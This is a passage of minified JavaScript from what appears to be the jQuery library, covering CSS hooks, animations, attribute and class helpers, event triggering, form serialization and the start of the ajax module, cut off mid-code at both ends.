t=e[0].toUpperCase()+e.slice(1),n=Be.length;while(n--)if((e=Be[n]+t)in $e)return e}(e)||e)}var Ue=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ve={position:"absolute",visibility:"hidden",display:"block"},Ge={letterSpacing:"0",fontWeight:"400"};function Ye(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Qe(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=S.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=S.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=S.css(e,"border"+ne[a]+"Width",!0,i))):(u+=S.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=S.css(e,"border"+ne[a]+"Width",!0,i):s+=S.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Je(e,t,n){var r=Re(e),i=(!y.boxSizingReliable()||n)&&"border-box"===S.css(e,"boxSizing",!1,r),o=i,a=We(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!y.boxSizingReliable()&&i||!y.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===S.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===S.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Qe(e,t,n||(i?"border":"content"),o,r,a)+"px"}function Ke(e,t,n,r,i){return new Ke.prototype.init(e,t,n,r,i)}S.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=We(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Xe.test(t),l=e.style;if(u||(t=ze(s)),a=S.cssHooks[t]||S.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(S.cssNumber[s]?"":"px")),y.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Xe.test(t)||(t=ze(s)),(a=S.cssHooks[t]||S.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=We(e,t,r)),"normal"===i&&t in Ge&&(i=Ge[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),S.each(["height","width"],function(e,u){S.cssHooks[u]={get:function(e,t,n){if(t)return!Ue.test(S.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Je(e,u,n):Me(e,Ve,function(){return Je(e,u,n)})},set:function(e,t,n){var r,i=Re(e),o=!y.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===S.css(e,"boxSizing",!1,i),s=n?Qe(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Qe(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=S.css(e,u)),Ye(0,t,s)}}}),S.cssHooks.marginLeft=Fe(y.reliableMarginLeft,function(e,t){if(t)return(parseFloat(We(e,"marginLeft"))||e.getBoundingClientRect().left-Me(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),S.each({margin:"",padding:"",border:"Width"},function(i,o){S.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(S.cssHooks[i+o].set=Ye)}),S.fn.extend({css:function(e,t){return $(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Re(e),i=t.length;a<i;a++)o[t[a]]=S.css(e,t[a],!1,r);return o}return void 0!==n?S.style(e,t,n):S.css(e,t)},e,t,1<arguments.length)}}),((S.Tween=Ke).prototype={constructor:Ke,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||S.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(S.cssNumber[n]?"":"px")},cur:function(){var e=Ke.propHooks[this.prop];return e&&e.get?e.get(this):Ke.propHooks._default.get(this)},run:function(e){var t,n=Ke.propHooks[this.prop];return this.options.duration?this.pos=t=S.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):Ke.propHooks._default.set(this),this}}).init.prototype=Ke.prototype,(Ke.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=S.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){S.fx.step[e.prop]?S.fx.step[e.prop](e):1!==e.elem.nodeType||!S.cssHooks[e.prop]&&null==e.elem.style[ze(e.prop)]?e.elem[e.prop]=e.now:S.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=Ke.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},S.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},S.fx=Ke.prototype.init,S.fx.step={};var Ze,et,tt,nt,rt=/^(?:toggle|show|hide)$/,it=/queueHooks$/;function ot(){et&&(!1===E.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(ot):C.setTimeout(ot,S.fx.interval),S.fx.tick())}function at(){return C.setTimeout(function(){Ze=void 0}),Ze=Date.now()}function st(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ut(e,t,n){for(var r,i=(lt.tweeners[t]||[]).concat(lt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function lt(o,e,t){var n,a,r=0,i=lt.prefilters.length,s=S.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=Ze||at(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:S.extend({},e),opts:S.extend(!0,{specialEasing:{},easing:S.easing._default},t),originalProperties:e,originalOptions:t,startTime:Ze||at(),duration:t.duration,tweens:[],createTween:function(e,t){var n=S.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=S.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=lt.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(S._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return S.map(c,ut,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),S.fx.timer(S.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}S.Animation=S.extend(lt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],lt.tweeners[n]=lt.tweeners[n]||[],lt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),v=Y.get(e,"fxshow");for(r in n.queue||(null==(a=S._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,S.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],rt.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!v||void 0===v[r])continue;g=!0}d[r]=v&&v[r]||S.style(e,r)}if((u=!S.isEmptyObject(t))||!S.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=v&&v.display)&&(l=Y.get(e,"display")),"none"===(c=S.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=S.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===S.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(v?"hidden"in v&&(g=v.hidden):v=Y.access(e,"fxshow",{display:l}),o&&(v.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)S.style(e,r,d[r])})),u=ut(g?v[r]:0,r,p),r in v||(v[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?lt.prefilters.unshift(e):lt.prefilters.push(e)}}),S.speed=function(e,t,n){var r=e&&"object"==typeof e?S.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return S.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in S.fx.speeds?r.duration=S.fx.speeds[r.duration]:r.duration=S.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&S.dequeue(this,r.queue)},r},S.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=S.isEmptyObject(t),o=S.speed(e,n,r),a=function(){var e=lt(this,S.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=S.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in r)r[t]&&r[t].stop&&it.test(t)&&a(r[t]);for(t=n.length;t--;)n[t].elem!==this||null!=i&&n[t].queue!==i||(n[t].anim.stop(o),e=!1,n.splice(t,1));!e&&o||S.dequeue(this,i)})},finish:function(a){return!1!==a&&(a=a||"fx"),this.each(function(){var e,t=Y.get(this),n=t[a+"queue"],r=t[a+"queueHooks"],i=S.timers,o=n?n.length:0;for(t.finish=!0,S.queue(this,a,[]),r&&r.stop&&r.stop.call(this,!0),e=i.length;e--;)i[e].elem===this&&i[e].queue===a&&(i[e].anim.stop(!0),i.splice(e,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e||"boolean"==typeof e?i.apply(this,arguments):this.animate(st(r,!0),e,t,n)}}),S.each({slideDown:st("show"),slideUp:st("hide"),slideToggle:st("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,r){S.fn[e]=function(e,t,n){return this.animate(r,e,t,n)}}),S.timers=[],S.fx.tick=function(){var e,t=0,n=S.timers;for(Ze=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||S.fx.stop(),Ze=void 0},S.fx.timer=function(e){S.timers.push(e),S.fx.start()},S.fx.interval=13,S.fx.start=function(){et||(et=!0,ot())},S.fx.stop=function(){et=null},S.fx.speeds={slow:600,fast:200,_default:400},S.fn.delay=function(r,e){return r=S.fx&&S.fx.speeds[r]||r,e=e||"fx",this.queue(e,function(e,t){var n=C.setTimeout(e,r);t.stop=function(){C.clearTimeout(n)}})},tt=E.createElement("input"),nt=E.createElement("select").appendChild(E.createElement("option")),tt.type="checkbox",y.checkOn=""!==tt.value,y.optSelected=nt.selected,(tt=E.createElement("input")).value="t",tt.type="radio",y.radioValue="t"===tt.value;var ct,ft=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.length)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&"radio"===t&&A(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),ct={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\w+/g),function(e,t){var a=ft[t]||S.find.attr;ft[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=ft[o],ft[o]=r,r=null!=a(e,t,n)?o:null,ft[o]=i),r}});var pt=/^(?:input|select|textarea|button)$/i,dt=/^(?:a|area)$/i;function ht(e){return(e.match(P)||[]).join(" ")}function gt(e){return e.getAttribute&&e.getAttribute("class")||""}function vt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,"tabindex");return t?parseInt(t,10):pt.test(e.nodeName)||dt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,gt(this)))});if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,gt(this)))});if(!arguments.length)return this.attr("class","");if((e=vt(t)).length)while(n=this[u++])if(i=gt(n),r=1===n.nodeType&&" "+ht(i)+" "){a=0;while(o=e[a++])while(-1<r.indexOf(" "+o+" "))r=r.replace(" "+o+" "," ");i!==(s=ht(r))&&n.setAttribute("class",s)}return this},toggleClass:function(i,t){var o=typeof i,a="string"===o||Array.isArray(i);return"boolean"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,gt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=vt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&"boolean"!==o||((e=gt(this))&&Y.set(this,"__className__",e),this.setAttribute&&this.setAttribute("class",e||!1===i?"":Y.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&-1<(" "+ht(gt(n))+" ").indexOf(t))return!0;return!1}});var yt=/\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t="":"number"==typeof t?t+="":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?"":e+""})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&"set"in r&&void 0!==r.set(this,t,"value")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&"get"in r&&void 0!==(e=r.get(t,"value"))?e:"string"==typeof(e=t.value)?e.replace(yt,""):null==e?"":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,"value");return null!=t?t:ht(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,"optgroup"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each(["radio","checkbox"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),y.focusin="onfocusin"in C;var mt=/^(?:focusinfocus|focusoutblur)$/,xt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,"type")?e.type:e,h=v.call(e,"namespace")?e.namespace.split("."):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!mt.test(d+S.event.triggered)&&(-1<d.indexOf(".")&&(d=(h=d.split(".")).shift(),h.sort()),u=d.indexOf(":")<0&&"on"+d,(e=e[S.expando]?e:new S.Event(d,"object"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,mt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,"events")||Object.create(null))[e.type]&&Y.get(o,"handle"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,xt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,xt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:"focusin",blur:"focusout"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var bt=C.location,wt={guid:Date.now()},Tt=/\?/;S.parseXML=function(e){var t,n;if(!e||"string"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,"text/xml")}catch(e){}return n=t&&t.getElementsByTagName("parsererror")[0],t&&!n||S.error("Invalid XML: "+(n?S.map(n.childNodes,function(e){return e.textContent}).join("\n"):e)),t};var Ct=/\[\]$/,Et=/\r?\n/g,St=/^(?:submit|button|image|reset|file)$/i,kt=/^(?:input|select|textarea|keygen)/i;function At(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||Ct.test(n)?i(n,t):At(n+"["+("object"==typeof t&&null!=t?e:"")+"]",t,r,i)});else if(r||"object"!==w(e))i(n,e);else for(t in e)At(n+"["+t+"]",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)At(n,e[n],t,i);return r.join("&")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,"elements");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(":disabled")&&kt.test(this.nodeName)&&!St.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(Et,"\r\n")}}):{name:t.name,value:n.replace(Et,"\r\n")}}).get()}});var Nt=/%20/g,jt=/#.*$/,Dt=/([?&])_=[^&]*/,qt=/^(.*?):[ \t]*([^\r\n]*)$/gm,Lt=/^(?:GET|HEAD)$/,Ht=/^\/\//,Ot={},Pt={},Rt="*/".concat("*"),Mt=E.createElement("a");function It(o){return function(e,t){"string"!=typeof e&&(t=e,e="*");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])"+"===n[0]?(n=n.slice(1)||"*",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Wt(t,i,o,a){var s={},u=t===Pt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return"string"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s["*"]&&l("*")}function Ft(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Mt.href=bt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:bt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Rt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?Ft(Ft(e,S.ajaxSettings),t):Ft(S.ajaxSettings,e)},ajaxPrefilter:It(Ot),ajaxTransport:It(Pt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks("once memory"),w=v.statusCode||{},a={},s={},u="canceled",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=qt.exec(p))n[t[1].toLowerCase()+" "]=(n[t[1].toLowerCase()+" "]||[]).concat(t[2])}t=n[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||bt.href)+"").replace(Ht,bt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Mt.protocol+"//"+Mt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Wt(Ot,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Lt.test(v.type),f=v.url.replace(jt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Nt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Tt.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Dt,"$1"),o=(Tt.test(f)?"&":"?")+"_="+wt.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+Rt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Wt(Pt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&S.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" 